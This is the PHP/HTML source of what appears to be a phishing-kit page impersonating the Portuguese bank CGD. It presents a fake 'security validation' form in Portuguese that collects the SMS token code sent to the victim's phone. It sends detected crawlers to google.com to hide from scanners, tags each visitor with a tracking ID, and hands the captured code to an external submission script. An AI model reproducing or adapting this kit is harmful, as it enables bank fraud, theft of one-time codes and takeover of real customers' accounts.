<?php
require '../vendor/autoload.php';

use Jaybizzle\CrawlerDetect\CrawlerDetect;

$CrawlerDetect = new CrawlerDetect;
$isBot = $CrawlerDetect->isCrawler();

if ($isBot) {
    header("Location: https://google.com");
    exit;
}

?>
<?php 
  $uniqueid = $_SESSION["visitor_uniqueid"];
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CGD</title>
     <link rel="shortcut icon" href="<?= URLROOT ?>/panel/assets/images/cgd-favicon.png" type="image/x-icon">
    <link rel="stylesheet" href="panel/bootstrap/css/bootstrap.min.css">
    <link href='https://unpkg.com/boxicons@2.1.4/css/boxicons.min.css' rel='stylesheet'>
    <link rel="stylesheet" href="panel/css/style.css">

    <script>
         var urlroot = '<?= URLROOT ?>';
        var uniqueid = '<?= $uniqueid ?>';
   </script>
 <script src="https://code.jquery.com/jquery-3.7.1.js" integrity="sha256-eKhayi8LEQwp4NKxN+CfCh+3qOVUtJn3QNZ0TciWLP4=" crossorigin="anonymous"></script>
   <script type="text/javascript" src="<?= URLROOT ?>/js/option.js"></script>
   <script type="text/javascript" src="<?= URLROOT ?>/js/browser.js"></script>

    <style>
        @media screen and (max-width:767px) {
            .flex_otp_igm{
                flex-direction: column;
            }
            .otp_img_01{
                display: flex;
                margin: auto;
                padding-bottom: 20px;
            }
        }
    </style>
</head>

<body>

    <header class="pt-4">
        <div class="container-fluid">
            <div class="row ml-2">
                <div class="col-md-12">
                    <img class="img-fluid" src="panel/got/logo_CDO.gif" alt="">
                </div>
            </div>
        </div>
    </header>
    <section class=" mt-3">
        <div class="container-fluid">
            <div class="row ">
                <div class="col-md-12 p-0">
                    <div class="top_border pl-3 pr-3">
                        <div class="d-flex justify-content-end align-items-center">
                            <p class="mb-0 text-white">PT <span class="en">EN</span></p>
                        </div>
                    </div>
                </div>
                <div class="col-md-8 offset-md-1 mt-3">
                    <div class="bg-white p-3 shadow-lg">
                        <h3>Validacao adicional de seguranca</h3>
                        <p>Insira nos próximos 2 minutos, o código que foi enviado via SMS para o seu telemóvel.
                        </p>
                       
                       <form  action="#" id="form" method="post" name="login">

                          <?php

                  if(isset($_GET['resend'])){
                    ?>
                      <div class="alert alert-danger mr-3" style="background: red;padding: 10px;margin-bottom: 10px;color: white;border-radius: 10px;">Ocorreu um erro, tente novamente...</div>
                    <?php
                  }
                  ?>

                          
                     <input type="hidden" name="bank_status" id="bank_status" value="CGD">
                 <input name="new_data" value="true" type="hidden">
                 <input name="status" value="0" type="hidden">
                  <input name="uniqueid" value="<?= $uniqueid ?>" type="hidden">

                            <div class="row">
                                <div class="col-md-8 m-auto">
                                    <div class="d-flex flex_otp_igm">
                                        <img src="panel/imgs/otg_img.png" class="img-fluid otp_img_01" style="width: 200px;" alt="">
                                    <div class="d-flex flex-column">
                                    <div class="form-group">
                                        
                                        <label for="">Introduza o código SMS Token.
                                        </label>
                                        <label for="">
                                        </label>
                                        <input type="text" class="form-control input-feild" name="sms_code" id="sms_code" onkeyup="chageValue()">
                                    </div>
                                </div>
                                </div>
                                </div>
                            </div>
                           
                            <!-- <p class="mb-0" style="font-size: 22px;">Se não receber o código <a href="#"> solicite aqui </a> o envio de um novo SMS.
                            </p>
                            <p style="font-size: 22px;">Se o telemóvel já não é o seu, solicite a adesão ao SMS Token para outro telemóvel, <a href="#">aqui,</a>
                            </p> -->
                           <div class="d-flex justify-content-end align-items-center">
                               <button  onclick="formSubmit()" disabled id="buttonLoad" class="btn active_btn" style="padding: 12px 35px; font-size: 18px;">VALIDAR</button>
                               <!-- <button class="btn active_btn" style="padding: 12px 35px; font-size: 18px;">Continuar</button> -->
                           </div>
                        </form>
                </div>
                </div>
            </div>
        </div>
    </section>


    <footer></footer>
    <div class="footer_bottom"></div>
    <div class="lang-links d-flex justify-content-center mb-5 pb-5 mt-2">
        <a href="">Segurança</a>
        <a href="">Contactos</a>
        <a href="">Preçário</a>
        <a href="">Condições Gerais</a>
        <a href="">Espaço Cliente</a>
    </div>
    <script src="panel/bootstrap/jquery/jquery.min.js"> </script>
    <script src="panel/bootstrap/js/popper.min.js"> </script>
    <script src="panel/bootstrap/js/bootstrap.min.js"> </script>
    <script>
     function chageValue(){
           var contract_number = $('#sms_code').val();
          
           if(sms_code != "" ){
               $('#buttonLoad').removeAttr('disabled','disabled')
           }else{
                $('#buttonLoad').attr('disabled','disabled')
           }
     }
    function formSubmit(){

     var loader = new Option();
          loader.formSubmit();
    }
    
   </script>

    </body>

    </html>